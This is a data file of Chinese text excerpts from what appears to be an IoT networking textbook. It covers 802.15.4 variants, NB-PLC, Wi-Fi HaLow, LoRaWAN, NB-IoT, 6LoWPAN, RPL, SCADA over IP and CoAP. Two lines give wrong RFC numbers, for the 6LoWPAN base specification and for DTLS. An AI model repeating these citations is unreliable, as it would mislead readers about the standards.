    {"text": "请注意，每个802.15.4 PAN都应使用唯一ID进行设置。 同一802.15.4网络中的所有节点都应使用相同的PAN ID。 图4-7所示为PAN ID为1的802.15.4网状网络示例。"},
    {"text": "美国政府对AES的使用及其在私营部门的广泛采用，使其成为对称密钥加密中最常用的算法之一（对称密钥意味着相同的密钥同时用于数据的加密和解密）。"},
    {"text": "图4-8显示了高层的IEEE 802.15.4帧格式，其中设置了安全启用位和辅助安全报头字段。 图4-8 带有辅助安全报头字段的帧格式，适用于802.15.4-2006及其以后的版本 6.竞争性技术 如表4-2所示，IEEE 802.15.4 PHY层和MAC层是在各种物联网接入环境中相互竞争的几种网络配置文件的基础。"},
    {"text": "目前的DASH7技术提供低功耗、紧凑的协议栈、长达1公里的范围和AES加密，而且定义了433MHz、868MHz和915MHz的频率，支持高达166.667 kbit/s的数据速率和最大载荷256字节。"},
    {"text": "IEEE 802.15.4的主要竞争对手是DASH7，这是另一种相对较好的无线技术。 然而，IEEE 802.15.4在市场上具有优势，因为其PHY层和MAC层应用于所有供应商和机构。"},
    {"text": "IEEE 802.15.4e修订版对802.15.4-2011扩展了MAC层特性集，弥补了与802.15.4相关的缺点，包括MAC可靠性、无限延迟和多径衰减。 除对MAC层进行一般增强外，IEEE 802.15.4e还进行了改进，以更好地处理某些应用领域，如工厂和流程自动化以及智能电网。"},
    {"text": "IEEE 802.15.4e-2012增强了IEEE 802.15.4 MAC层在帧格式、安全性、可靠性机制、跳频等方面的能力。 IEEE 802.15.4e中引入的特定MAC层增强将在本章后面详细介绍。 IEEE 802.15.4g-2012也是对IEEE 802.15.4-2011标准的修订，与802.15.4e-2012一样，它已完全集成到核心IEEE 802.15.4-2015规范中。"},
    {"text": "例如，IEEE 802.15.4u为印度定义了PHY层特性（865～867 MHz）。 同时，IEEE 802.15.4v定义了SUN PHY的变化，规定了欧洲的870～876 MHz和915～921 MHz频段、墨西哥的902～928 MHz频段、巴西的902～907.5 MHz和915～928 MHz频段、澳大利亚/新西兰915～928 MHz频段，以及亚洲区域的IEEE 802.15.4-2015频段。"},
    {"text": "1.标准化和联盟 因为802.15.4g-2012和802.15.4e-2012只是对IEEE 802.15.4-2011的简单修订，所以同一个IEEE 802.15 Task Group 4标准组织的作者负责维护并将它们集成到核心规范的下一个版本中。 然而，802.15.4g-2012和802.15.4e-2012提供的附加功能和选项导致用户要求的设备和混合供应商之间的交互性更难实现。"},
    {"text": "这些配置文件基于开放标准，例如802.15.4g-2012、802.15.4e-2012、IPv6、6LoWPAN和用于FAN配置文件的UDP（有关6LoWPAN的更多信息，请参见第5章）。"},
    {"text": "■ 多速率、多区域频移键控（MR-FSK）：由于传输信号的封装是恒定的，因此具有良好的传输功率效率。 ■ 多速率和多区域正交频分复用（MR-OFDM）：提供较高的数据速率，但对于低成本和低功耗设备来说可能过于复杂。 ■ 多速率、多区域偏移正交相移键控（MR-O QPSK）：与IEEE 802.15.4-2006 O-QPSK物理层具有相同的特性，使得多模式系统更经济，更易于设计。"},
    {"text": "例如，对于美国使用的902～928 MHz ISM频段，MR-FSK提供50 kbit/s、150 kbit/s或200 kbit/s的数据传输速率。 相同频率的MR-OFDM允许高达800 kbit/s，其他频率提供了各自的设置。"},
    {"text": "发射器和接收器通过全局时隙计数器和全局信道跳频序列列表的组合，就信道和信道间的切换时序达成一致，在每个节点上计算以确定每个时隙的信道。"},
    {"text": "这是通过在EB框架中包含相关的IE来实现的。 在EB中可以找到的一些IE包括网络度量、跳频广播调度和PAN信息版本。 ■ 增强信标请求（EBR）：与增强信标相似，EBR也使用了IE。 EBR中的IE允许发送方有选择地指定信息请求。"},
    {"text": "4.拓扑 IEEE 802.15.4g-2012的部署大多基于网状拓扑。 这是因为网状拓扑通常是应用802.15.4g-2012的工业和智慧城市地区用例的最佳选择。 网状拓扑允许在城市或农村地区进行部署，从而扩大节点之间的距离，以便转发其他节点的流量。"},
    {"text": "图4-10 IEEE 802.15.4g/e MAC层的安全架构 6.竞争性技术 IEEE 802.15.4g和802.15.4e的竞争技术与IEEE 802.15.4的技术（如DASH7）是并行的。"},
    {"text": "这是窄带电力线通信（NB-PLC）的标准。 NB-PLC在用于输送电力的电线上，利用窄带频段实现低功耗、远程、抗干扰能力。 NB-PLC经常出现在以下用例中。 ■ 智能计量：NB-PLC可用于电表、燃气表、水表等公用事业仪表的自动抄表。"},
    {"text": "■ 公共照明：NB-PLC的一个常见用途是公共照明——在城市、街道、高速公路和公园等公共区域的公共照明。 ■ 电动汽车充电站：NB-PLC 可用于电动汽车充电站，对电动汽车的电池进行充电。 ■ 微电网：NB-PLC可用于微电网，以及与传统电网断开连接并独立运行的地方电网。 ■ 可再生能源：NB-PLC可用于太阳能、风能、水力发电、地热能等可再生能源领域。"},
    {"text": "1.标准化和联盟 第一代NB-PLC实现在欧洲引起了公用事业公司的极大兴趣，但其可靠性差、吞吐量低（每秒几百位到最多2kbit/s），也缺乏可管理性，交互性也不好。"},
    {"text": "IEEE 1901.2工作组最初利用G3-PLC（现在的ITU G.9903）和PRIME（现在的ITU G.9904）工作组所做的工作，只研究独立于上层的NB-PLC PHY和MAC层（由IEEE章程定义，由其他IEEE标准完成）的标准化。"},
    {"text": "2016年，HomePlug联盟决定将其宽带电力线网络技术向更广泛的受众开放，公开其技术规范，还与其他联盟开展合作，继续进行工作。 HomePlug联盟已经与Wi-SUN联盟达成了一项联络协议，目标是实现同时支持无线和电力线连接的混合智能电网网络。"},
    {"text": "该标准包括音调映射和调制，如稳健调制（ROBO）、差分二进制相移键控（DBPSK）、差分正交相移键控（DQPSK）、针对所有频带的差分8点相移键控（D8PSK），以及可选的针对某些频带的16正交幅度调制（16QAM）。 ROBO模式在多个载波上传输冗余信息，DBPSK、DQPSK和D8PSK都是相移键控的变体，其中信号的相位被改变为二进制数据传输的信号。"},
    {"text": "对于CENELEC A频段，数据速率范围从4.5kbit/s（ROBO模式）到46kbit/s（D8PSK调制）。 对于高于CENELEC的FCC频率，吞吐量从21kbit/s（ROBO模式）到最大值234kbit/s（使用D8PSK）不等。"},
    {"text": "如果MAC载荷过大，无法容纳在一个PHY服务数据单元（PSDU）中，则将MAC载荷划分为更小的段。 MAC载荷分段是通过将MAC载荷根据PSDU大小划分为多个较小的数据量（段）来完成的。"},
    {"text": "3.MAC层 IEEE 1901.2a的MAC帧格式基于IEEE 802.15.4 MAC帧，但集成了最新的IEEE 802.15.4e-2012修订版，支持关键特性（有关802.15.4 MAC帧格式的更多信息，请见图4-6。"},
    {"text": "该标准是一项关键的物联网无线接入技术，既可用于连接端点（例如雾计算节点、高数据速率传感器、音频或视频分析设备），也可用于部署WiFi回程基础设施（例如智慧城市、石油和矿业或其他环境中的户外WiFi网络）。"},
    {"text": "对于802.11ah标准，联盟定义了一个名为Wi-Fi HaLow的新品牌。 HaLow品牌独家覆盖IEEE 802.11ah，用于亚GHz设备的认证。 我们可以将Wi-Fi HaLow看作一种商业名称，用于包含IEEE 802.11ah技术的产品。"},
    {"text": "例如，许多国家和地区对IEEE 802.11ah使用以下频段：EMEAR使用868～868.6 MHz，北美和亚太地区使用902～928 MHz及其相关子集。 基于OFDM调制，IEEE 802.11ah使用2MHz、4MHz、8MHz或16MHz的信道（对于低带宽传输使用1MHz）。"},
    {"text": "这是IEEE 802.11ac信道的1/10，相应数据速率也是IEEE 802.11ac的1/10。 IEEE 802.11ac标准是一种高速无线局域网协议，频率为5GHz，速率可达1 Gbit/s。 虽然802.11ah没有达到这个传输速度（因为它使用了802.11ac通道宽度的1/10，其速率为802.11ac的1/10），但它确实为低速率的数据提供了扩展范围。 例如，在数据速率为100kbit/s时，IEEE 802.11ah的户外传输范围预计为1公里。"},
    {"text": "3.MAC层 IEEE 802.11ah MAC层经过优化，支持新的亚GHz WiFi物理层，同时能提供低功耗和支持更多的端点。 IEEE 802.11ah为MAC层指定的增强和特性如下所示。"},
    {"text": "通过与RAW和TWT相结合，该机制通过限制哪个组、哪个扇区可以在哪个时间窗口内竞争，从而减少了大型单元中与多个客户端之间的争用（下一节将更详细地描述扇区）。"},
    {"text": "图4-14 IEEE 802.11ah分段 5.安全 与其他IEEE 802.11规范相比，IEEE 802.11ah没有提供更高的安全性（本章前面讨论了其他IEEE协议）。 这些协议包括IEEE 802.15.4、IEEE 802.15.4e和IEEE 1901.2a，它们的安全性也适用于IEEE 802.11ah。 6.竞争性技术 IEEE 802.11ah的竞争技术包括IEEE 802.15.4和IEEE 802.15.4e，以及在讨论它们时强调的竞争技术。"},
    {"text": "为了在这个领域获得广泛应用并与类似技术竞争，它将需要一个产品和解决方案的生态系统，这些产品和解决方案可以以较低的成本配置和部署。"},
    {"text": "LoRaWAN 1.0.2区域规范描述了使用433 MHz、779～787 MHz、863～870 MHz和902～928 MHz的未经许可的亚GHz频段，以及902～928 MHz带宽子集的区域配置文件。"},
    {"text": "表4-4所示为LoRaWAN数据速率如何随两个主要频段（863～870 MHz和902～928 MHz）的相关扩频因子而变化。 表4-4 LoRaWAN数据速率示例 续表 在表4-4中，需要注意SF和数据速率之间的关系。"},
    {"text": "无论是上行链路还是下行链路，LoRaWAN消息都有一个PHY载荷，它由一个1字节的MAC报头、一个可变字节的MAC载荷和一个长度为4字节的MIC组成。"},
    {"text": "■ 端点可以具有全局终端设备ID或DevEUI，并将其表示为IEEE EUI-64地址。 ■ 端点可以具有一个全局应用程序ID或AppEUI，表示为IEEE EUI-64地址，该地址唯一地标识应用程序提供商（如终端设备所有者）。"},
    {"text": "例如，可以有上层协议，如ZigBee控制层（ZCL）、受限应用程序协议（CoAP）或消息队列遥测传输（MQTT），无论是否有IPv6/6LoWPAN层（第6章讨论了CoAP和MQTT协议）。"},
    {"text": "在LoRaWAN规范的未来版本中，网络服务器之间的漫游功能将被添加到LoRaWAN中。 这些功能将使移动终端能够在不同的LoRaWAN网络基础设施之间连接和漫游。"},
    {"text": "■ 个性化激活（ABP）：端点不需要运行加入过程，因为它们的个别详细信息（包括DevAddr、NwkSKey和AppSKey会话密钥）已预先配置并存储在终端设备中。"},
    {"text": "表4-5评估了两个已知的提供LPWA选项的最佳供应商。 表4-5 未经许可的LPWA技术比较 续表 表4-5很好地概述了两个最成熟的LoRaWAN竞争对手。"},
    {"text": "智慧城市运营商、广播公司、移动和非移动服务提供商正在解决区域或国家物联网基础设施的需求，这些提供商对于为消费者市场启用用例尤其重要。"},
    {"text": "注释：第三代伙伴关系项目（3GPP）是一个标准组织，它将多个电信标准开发组织联合起来，提供一个稳定的环境来生成定义3GPP技术的报告和规范。"},
    {"text": "由于新的LTE-M设备类别与LPWA的功能还不够接近，2015年3GPP批准了一项提案，旨在将一种名为窄带物联网（NB-IoT）的新窄带无线接入技术标准化。"},
    {"text": "1.标准化和联盟 3GPP组织包括多个工作组，它们分别专注于电信的不同方面（例如，无线电、核心、终端等）。 许多服务提供商和供应商组成了3GPP，它们在这些领域的合作成果是3GPP规范和相关研究。"},
    {"text": "■ 较低的数据速率：LTE-M的数据速率约为200kbit/s，而Cat 0的数据速率为1Mbit/s。 ■ 半双工模式：与Cat 0一样，LTE-M提供了一种降低节点复杂度和成本的半双工模式。"},
    {"text": "■ 窄带GSM（N-GSM），诺基亚提案； ■ 窄带M2M（NB-M2M），华为/Neul提案； ■ 窄带OFDMA（正交频分多址），高通提案； ■ 窄带蜂窝物联网（NB-CIoT），NB-M2M和NB-OFDMA联合提案； ■ 窄带LTE（NB-LTE），阿尔卡特朗讯、爱立信和诺基亚提案；"},
    {"text": "读者应该知道，如果这些设备必须通过不同的服务提供商在不同的国家或地区部署，除非服务提供商之间进行过协调，并且NB-IoT频段分配是相同的，否则可能会出现问题。"},
    {"text": "除了无线电相关的方面，这项工作还指定了物联网核心的适应性，以支持特定的物联网功能，包括简化LTE附加过程，从而不需要专用承载信道，而且可以传输非IP数据。"},
    {"text": "例如，NB-IoT定义为上行链路和下行链路均为200 kHz宽的信道，允许移动服务提供商优化其频段，并提供了GSM、WCDMA和LTE频段的多种部署选项，如图4-19所示。 图4-19 NB-IoT部署选项 在LTE网络中，频段资源块被定义为具有180 kHz的有效带宽，而在NB-IoT中，信道或子载波代替了LTE频段资源块。"},
    {"text": "5.拓扑 NB-IoT由164 dB的链路预算来定义，将此与许多机器对机器（M2M）服务使用的大小为144 dB的GPRS链路预算进行比较，可以发现额外增加的20 dB链路预算应能保证信号更好地穿透建筑物和地下室，同时达到电池寿命的要求。"},
    {"text": "读者也可以让本章与图2-1所示的oneM2M架构的网络层保持一致，或者与图2-3所示的物联网世界论坛架构的连接层保持一致（如果这些模型更可取的话）。"},
    {"text": "本章重点关注IP，IP已成为物联网许多领域的事实标准。 在众多标准和行业组织的支持下，IP及其作为物联网网络层传输的角色是读者应该熟悉的基本要素。"},
    {"text": "5.1 IP的商业案例 流入或流出物联网中“物”的数据流由数据中心服务器使用、控制或监视，这些服务器可以位于云中，也可以位于分布或集中的位置。"},
    {"text": "因此，将各种物理层和数据链路层组合在一起的系统解决方案需要一种体系结构方法，该方法具有独立于较低层（连接性）和/或较高层（应用程序）的公共层。"},
    {"text": "5.1.1 因特网协议的主要优点 传统信息技术（IT）和运营技术（OT）之间的主要区别之一是底层技术和产品的生命周期不同（有关OT和IT的更多信息，请参阅第1章）。"},
    {"text": "实际上，许多现有的关键任务是私有且高度安全的网络，如银行与银行之间的网络、军事和防御网络、公共安全和应急响应网络，使用的都是IP架构。"},
    {"text": "尽管许多标准开发组织（SDO）正在研究物联网的定义、框架、应用程序和技术，但没有人质疑Internet工程任务组（IETF）在指定和优化网络层和传输层方面所发挥的作用。"},
    {"text": "即使物理和数据链路层（如以太网、WiFi和蜂窝网络）被广泛采用，但数据通信的历史表明，没有任何一种特定的有线或无线技术符合所有的部署标准。"},
    {"text": "■ 无处不在：所有最近发布的操作系统，从通用计算机和服务器到轻量级嵌入式系统（TinyOS、Contiki等），都有一个集成的双IP栈（IPv4和IPv6），随着时间的推移，这个栈会得到增强。"},
    {"text": "■ 消费者市场接受度：在开发面向消费者市场的物联网解决方案和产品时，供应商知道消费者主要通过宽带和移动无线基础设施来访问应用程序和设备。"},
    {"text": "物联网也可以利用IP基础进行创新。 综上所述，IP的应用为物联网提供了坚实的基础，为网络中所有设备提供了安全且可管理的双向数据通信能力。 IP协议是一种基于标准的协议，具有普遍性、可扩展性、通用性和稳定性。"},
    {"text": "5.1.2 应用或自适应互联网协议 如何在数据中心、云服务和托管物联网应用的运营中心中实现IP，这似乎是显而易见的，但在“最后一公里”采用IP则更加复杂，往往会让端到端运行IP更加困难。 如果从总体上了解IT网络中IP应用的历史趋势，我们可以对IP在“最后一公里”中的应用应该如何展开有一些深刻的见解。"},
    {"text": "利用IP自适应模式的实现将SCADA设备通过串行接口连接到网关隧道或转换流量。 在IP应用模式下，SCADA设备通过以太网连接到交换机和路由器，转发其IPv4流量。"},
    {"text": "这些类型的设备，特别是通过LPWA技术进行通信的设备，包括发出警报或每日测试报告的火警警报、按下或关闭的电气开关以及发送每周指数的水表或煤气表。"},
    {"text": "除了应对非IP设备的集成外，我们可能还需要处理物联网在设备和网络级别施加的限制。 因此，需要在IP堆栈的各个层进行优化，以处理物联网网络中存在的限制。"},
    {"text": "■ 资源非常有限的设备，可能不经常通信且通信时只传输几个字节，并且可能具有有限的安全性和管理能力：这就需要IP自适应模式，其中节点通过网关和代理进行通信。"},
    {"text": "■ 具有足够的功率和容量来实现简化的IP堆栈或非IP堆栈的设备：在这种情况下，可以实现优化的IP堆栈并直接与应用程序服务器通信（应用模式）；"},
    {"text": "■ 在计算和电源资源方面与普通PC相似，但具有受限的网络容量（如带宽）的设备：这些节点通常实现完整的IP堆栈（应用模式），但网络设计和应用程序行为必须满足带宽限制。"},
    {"text": "5.2.3 IP版本 20多年来，IETF一直致力于将互联网从IP版本4过渡到IP版本6，主要驱动力是随着互联网的发展，IPv4的地址空间日益缺乏。"},
    {"text": "因此，物联网必须遵循与互联网本身相似的路径，同时支持IPv4和IPv6两个版本。 物联网解决方案需要使用隧道和地址转换等技术来确保IPv4和IPv6之间的交互性。 各种因素决定了IPv4、IPv6或两者都可以用于物联网解决方案。"},
    {"text": "以下是在物联网解决方案中有必要同时支持IPv4和IPv6的一些主要因素。 ■ 应用协议：实现以太网或WiFi接口的物联网设备可以通过IPv4和IPv6进行通信，但应用协议可能会决定IP版本的选择。"},
    {"text": "对于使用IETF定义的应用程序协议的IoT设备，如HTTP/HTTPS、CoAP、MQTT和XMPP，在两个IP版本都得到支持（有关这些物联网应用层协议的更多信息，请参见第6章）。"},
    {"text": "■ IPv6适配层：针对一些物理层和数据链路层的IPv6适配层，最近标准化的物联网协议只支持IPv6。 虽然最常见的物理链路层和数据链路层（以太网、WiFi等）规定了两个版本的适配层，但较新的技术，如IEEE 802.15.4（无线个人区域网络）、IEEE 1901.2和ITU G.9903（窄带电力线通信）只指定了IPv6适配层（有关这些物理和数据链路层的更多信息，请参见第4章）。"},
    {"text": "图5-1 使用适配层优化物联网IP 5.3.1 从6LoWPAN到6Lo 在IP体系结构中，必须定义和记录任意给定的第一层（PHY）和第二层（MAC）协议上的IP数据包传输。"},
    {"text": "主要的区别在于，为物联网设计的适配层可能包括一些优化，以处理受限节点和网络（参见5.2.1节和5.2.2节）。 为受限节点或物联网中的“物”进行优化的适配层的主要示例是6LoWPAN工作组及其继任者6Lo工作组下的适配层。"},
    {"text": "图5-2显示了一个使用6LoWPAN适配层的物联网协议栈示例，该适配层位于著名的IP协议栈旁，可供参考。 图5-2 利用6LoWPAN和IP协议栈的物联网协议栈比较 6LoWPAN工作组发布了几个RFC，但是RFC 4994是基础性的，因为它定义了帧头，用于头压缩、分片和网络寻址等功能。"},
    {"text": "图5-4 6LoWPAN包头压缩 在图5-4的上半部分，可以看到一个没有启用任何包头压缩的6LoWPAN帧，可以看到完整的40字节IPv6包头和8字节UDP包头。"},
    {"text": "图5-5 6LoWPAN分片头 在图5-5中，6LoWPAN分片头字段本身使用一个唯一的位值来标识它后面的后续字段是分片字段，而不是另一个功能，比如头压缩。"},
    {"text": "1.mesh-under与mesh-over路由 对于支持网状拓扑并在物理和数据链路层运行的网络技术，如IEEE 802.15.4、IEEE 802.15.4g和IEEE 1901.2a，存在两个主要选项用于建立可达性和转发数据包。"},
    {"text": "另一个选项称为mesh-over或route-over，它利用IP路由将数据包发送到目的地。 对于mesh-under路由，IP数据包的路由利用前一节讨论的6LoWPAN网状寻址头在链路层路由和转发数据包。 使用术语mesh-under是因为可以使用多个链路层跳数来完成单个IP跳数。"},
    {"text": "边缘网关终接到mesh-under域，边缘网关还必须实现一种机制，以便在已配置的二层协议和在其他三层IP接口上实现的任何IP路由机制之间进行转换。"},
    {"text": "虽然6LoWPAN工作组最初的优化重点是IEEE 802.15.4 LLN，但仍然需要在其他链路层技术上标准化IPv6。 因此，6Lo工作组（现在称为资源受限节点网络上的IPv6）的宗旨是促进受限节点网络上的IPv6连接。"},
    {"text": "■ 通过近场通信传输IPv6数据包。 ■ 802.11ah上的IPv6。 ■ 通过DECT超低能耗传输IPv6数据包。 ■ 在WIA-PA（工业自动化无线网络—过程自动化）上传输IPv6数据包。 ■ 通过主从/令牌传递传输IPv6（MS/TP）。"},
    {"text": "总之，6Lo工作组正在对6LoWPAN适配层进行标准化，该层最初将重点放在IEEE 802.15.4第2层协议上，而其他协议通常具有受限节点。 事实上，在6LoWPAN工作组和现在的6Lo工作组的工作基础上，6LoWPAN适配层正在成为物联网网络中连接受限节点的决定性标准。"},
    {"text": "IEEE 802.15.4e ——TSCH（时隙信道跳变），是IEEE 802.15.4标准媒体访问控制（MAC）部分的一个附加组件，直接继承了其他标准，如WirelessHART和ISA100.11a。 实现IEEE 802.15.4e TSCH的设备按照时分多址（TDMA）调度进行通信。"},
    {"text": "数据包流量应通过传统的QoS（服务质量）和RED（随机早期检测）操作进行优先级排序。 QoS是一种基于流优先级的分类方案，RED是一种常见的拥塞避免机制。"},
    {"text": "5.3.6 RPL IETF授权RoLL（低功耗和有损网络的路由）工作组来评估所有第3层IP路由协议，并确定为IP智能对象开发路由解决方案的需求。"},
    {"text": "节点通过使用目的地通告对象（DAO）消息向DODAG根发布其父集，从而建立向下路由。 DAO消息允许节点将其存在性和可达性告知其父节点。 在RPL的非存储模式下，发送DAO消息的节点直接将其父集报告给DODAG根（边界路由器），只有根节点存储路由信息。"},
    {"text": "如果两个方向的RSSI都超过了一个阈值，ETX低于一个阈值，则节点确认到潜在父节点的链路质量足够好。 一旦节点确定到潜在父节点的链接质量足够好，它就将适当的默认路由条目添加到其转发表中。"},
    {"text": "总之，RPL是一种新的路由协议，它使基于IPv6标准的解决方案能够大规模部署，同时以类似于如今的IP基础设施的方式运行。 RPL是为满足受限节点和网络的需求而设计的，这使得它成为物联网传感器网络中基于IPv6的主要网络层路由协议之一。"},
    {"text": "1.ACE 与RoLL工作组非常相似，受限环境的身份验证和授权（ACE）工作组的任务是评估现有身份验证和授权协议的适用性，并记录它们对某些受限环境用例的适用性。"},
    {"text": "一旦候选解决方案得到验证，ACE工作组将把工作重点放在数据报传输层安全（DTLS）协议的CoAP上（CoAP协议将在第6章中介绍，RFC 6437定义了DTLS安全协议）。"},
    {"text": "ACE工作组希望为身份验证和授权生成一个标准化的解决方案，以支持对URI标识资源的授权访问（Get、Put、Post、Delete），这些资源托管在受限环境中的资源服务器上。"},
    {"text": "今天，随着IPSO联盟组织成员之间通过交互性测试来验证智能对象的Internet协议可以协同工作并能正确实施行业标准，该联盟更关注如何使用IP。 IPSO联盟没有定义技术，因为这是IETF和其他标准组织的职责，但它记录了基于IP的技术在各种物联网用例中的使用，并参与到行业教育中。 正如IPSO联盟在其价值和使命声明中所宣称的，它希望确保“工程师和产品制造商能够获得构建物联网所需的工具”。"},
    {"text": "5.4.2 Wi-SUN联盟 Wi-SUN联盟是业界努力定义适用于特定物理层和数据链路层协议的通信配置文件的一个示例。 目前，Wi-SUN的主要关注点是IEEE 802.15.4g协议以及该协议对通过UDP传输层运行的应用程序的多服务和安全IPv6通信的支持。"},
    {"text": "从密集的城市社区到农村的广泛地区，Wi-SUN场域网（FAN）能提供极好的覆盖，使智能公用事业网络能够提供弹性、安全和经济高效的连接（FAN在第11章中有更详细的描述）。"},
    {"text": "5.4.4 IPv6 Ready Logo 最初，IPv6论坛确保了IPv6在全球范围内的推广。 一旦IPv6实现变得广泛可用，交互性和认证的需求将导致IPv6 Ready Logo计划的创建。 IPv6 Ready Logo计划已经建立了一致性和交互性测试程序，用来增加用户在实现IPv6时的信心。"},
    {"text": "■ 物联网应用传输方法：探讨各种类型的物联网应用数据以及这些数据在网络上的传输方式。 与传统网络相同，在传输物联网应用的数据时，大多数情况下采用TCP或UDP协议。"},
    {"text": "相反，UDP最常用于网络服务中，如域名系统（DNS）、网络时间协议（NTP）、简单网络管理协议（SNMP）和动态主机控制协议（DHCP），或用于传输实时数据流量，包括IP上的语音和视频。"},
    {"text": "虽然TCP的使用可能不会对一般的计算平台和高数据速率网络造成压力，但它可能具有挑战性，而且在受限的物联网设备和网络上通常产生过大的开销。"},
    {"text": "这可以解释为什么新的物联网应用协议（如受限应用协议［CoAP］）几乎总是使用UDP，以及为什么工业应用层协议的实现可能需要优化和采用UDP传输层（如果运行在LLN上）。"},
    {"text": "有时我们可能需要处理具有特定需求的传统实用程序和工业物联网协议，有时则可能需要考虑更现代的应用层协议的传输需求。 为了更容易做出这些决策，有必要对常见的物联网应用程序协议进行分类，然后重点关注每个类别可用的传输方法。 后文将探讨物联网应用协议的类别及其传输方法。"},
    {"text": "■ 基于Web的通用协议：通用协议，如以太网、WiFi和4G/ LTE，可以在许多消费者和企业级别的物联网设备上找到，这些设备可以在不受限制的网络上通信。 ■ 物联网应用层协议：物联网应用层协议被设计为在占用空间较小的受限节点上运行，并且能够很好地适应蜂窝、卫星链路或受限的6LoWPAN网络的网络带宽约束。"},
    {"text": "由于各种各样的原因（例如处理能力、功率限制和成本因素），这些设备没有实现完全结构化的网络协议栈（例如IP、TCP或UDP），甚至没有实现应用层协议。"},
    {"text": "例6-1 解码温度和相对湿度传感器的数据 虽然许多受限设备（如传感器和执行器），都采用了没有应用层的部署方式，但这种传输方法尚未标准化。"},
    {"text": "物联网数据代理是一种中间件，它将传感器输出标准化为一种通用格式，然后可以由授权的应用程序检索（第1章介绍过物联网数据代理的概念）。"},
    {"text": "总之，虽然在不使用结构化网络堆栈的情况下直接传输数据载荷可以明显优化低数据速率网络上的数据传输，但是缺少数据模型意味着每个应用程序都需要了解如何解释特定数据的格式。"},
    {"text": "SCADA网络可以应用于不同的行业中，但是我们会发现SCADA主要集中在公用事业和制造业/工业领域。 在这些特定的行业中，SCADA通常使用某些协议来实现设备和应用程序之间的通信。"},
    {"text": "■ DLMS用户协会在DLMS/COSEM绿皮书（第5版或更高版本）或IEC 62056-53和IEC 62056-47标准中指定了一个基于TCP/IP的通信概要文件，允许通过IP和端口4059进行数据交换。"},
    {"text": "该规范定义了DNP3协议和IP层之间的连接管理，如图6-2所示。 除了实现网络连接所需的配置参数和方法外，连接管理还将DNP3层与IP层链接起来。"},
    {"text": "图6-2 用于在IP上传输串行DNP3 SCADA的协议栈 主站可以从一个UDP数据报解析多个DNP3数据链路层帧，而DNP3数据链路层帧不能跨越多个UDP数据报。"},
    {"text": "3.通过IP网络以隧道方式传输传统的SCADA 在现代IP网络中，传统工业协议（如DNP3和其他SCADA协议）的部署要求在集成多代设备或操作时具有灵活性，这些设备或操作与不同版本的应用服务器相关联。"},
    {"text": "否则，可以通过使用TCP或UDP上的原始套接字进行隧道传输，或者安装一个中间设备，在串行协议版本及其IP实现之间执行协议转换，从而在IP上实现原始串行协议的传输。"},
    {"text": "更现代的工业应用服务器可能支持这种功能，而较老的版本通常需要其他设备或软件来处理使用原始套接字实现从纯串行数据到IP串行数据的转换。"},
    {"text": "RTU是一种多用途设备，用于监视和控制各种系统、应用程序和管理自动化设备。 从主/从的角度来看，RTU是从设备。 在图6-3中的每个场景中，与RTU相对的是一个SCADA服务器（或主服务器），它可以改变连接类型。"},
    {"text": "SCADA服务器上安装了一个软件，它将串口COM端口映射到IP端口。 这种软件通常称为IP/串口重定向器。 IP/串口重定向器实质上终止了SCADA服务器的串行连接，并使用原始套接字连接将其转换为TCP/IP端口。"},
    {"text": "在方案A和方案B中，路由器或IP/串口重定向软件必须将SCADA服务器的串行端口映射到IP端口，而在方案C中，SCADA服务器完全支持原始套接字连接。"},
    {"text": "注释：虽然图6-3突出了使用原始套接字在IP上通过隧道传输较旧的基于串行的SCADA协议，但是该机制也可以用于隧道传输不属于SCADA的其他传统串行通信协议。 4.SCADA协议转换 如前所述，用于跨IP网络传输传统串行数据的原始套接字连接的替代方案是协议转换。 通过协议转换，可将传统的串行协议转换为相应的IP版本。"},
    {"text": "在图6-4中，物联网网关执行协议转换功能，支持RTU与服务器之间的通信，尽管一端是串行连接，另一端使用IP连接。 图6-4 DNP3协议转换 通过运行协议转换，图6-4中连接到RTU的物联网网关实现了一种靠近网络边缘的计算功能。"},
    {"text": "虽然SCADA和其他传统工业协议的长期发展是针对IPv6提供原生的支持，但必须强调的是，目前支持IP的大多数工业设备（甚至可能是全部）只支持IPv4。"},
    {"text": "在不受限制的网络上，如以太网、WiFi或3G/4G蜂窝网络，带宽不是一个潜在的问题，基于详细数据模型表示（包括XML或JavaScript对象表示法［JSON］）的数据载荷可以通过HTTP/HTTPS或WebSocket传输。"},
    {"text": "仅将数据推送到应用程序的物联网设备（例如，向天气应用程序报告数据的基于以太网或WiFi的气象站，或向健康应用程序发送数据的支持WiFi的体重秤）可能需要在客户端实现Web服务。"},
    {"text": "SOAP基于可扩展标记语言（Extensible Markup Language，XML），从编码的角度来看它冗长而复杂，解析速度较慢，但它是通用的，并且具有内置的错误处理功能，可以使问题更容易解决。"},
    {"text": "6.2.4 物联网应用层协议 在考虑受限网络和/或大规模部署受限节点时，冗长的基于Web的协议和数据模型协议对于物联网应用程序来说可能过于繁重。"},
    {"text": "图6-6 用于CoAP和MQTT的高级物联网协议栈示例 在图6-6中，基于IEEE 802.15.4网状网络的CoAP和MQTT自然位于这个物联网堆栈示例的顶部。"},
    {"text": "1.CoAP 受限应用协议（CoAP）是IETF受限RESTful环境（CoRE）工作组为面向资源的应用程序开发一个通用框架时产生的，该框架的目标是受限节点和网络。"},
    {"text": "■ RFC 6690：Constrained RESTful Environments (CoRE) Link Format ■ RFC 7252：The Constrained Application Protocol (CoAP) ■ RFC 7641：Observing Resources in the Constrained Application Protocol (CoAP) ■ RFC 7959：Block-Wise Transfers in the Constrained Application Protocol (CoAP) ■ RFC 8075：Guidelines for Mapping Implementations: HTTP to the Constrained Application Protocol (CoAP) CoAP消息传递模型主要是为了方便端点之间通过UDP交换消息，包括安全传输协议数据报传输层安全（DTLS）。"},
    {"text": "从格式化的角度来看，CoAP消息由一个短的固定长度的头字段（4字节）、长度可变但必需的标记字段（0～8字节）、选项字段（如果有必要）和载荷字段组成。"},
    {"text": "图6-7详细说明了CoAP消息格式，它在降低解析复杂性的同时提供了较低的开销。 图6-7 CoAP消息格式 在图6-7中可以看到，CoAP消息格式相对简单且灵活。"},
    {"text": "这些多播地址由CoAP节点连接，这些节点在监听默认CoAP端口5683的同时向其他端点提供服务。 因此，端点可以通过多播服务找到可用的CoAP服务。"},
    {"text": "因为它的标准化是由IETF CoRE工作组领导的，所以它与其他IETF工作组密切协同工作，特别是那些关注受限节点和网络的工作组，如6Lo、6TiSCH、LWIG、RoLL、ACE和COSE。"},
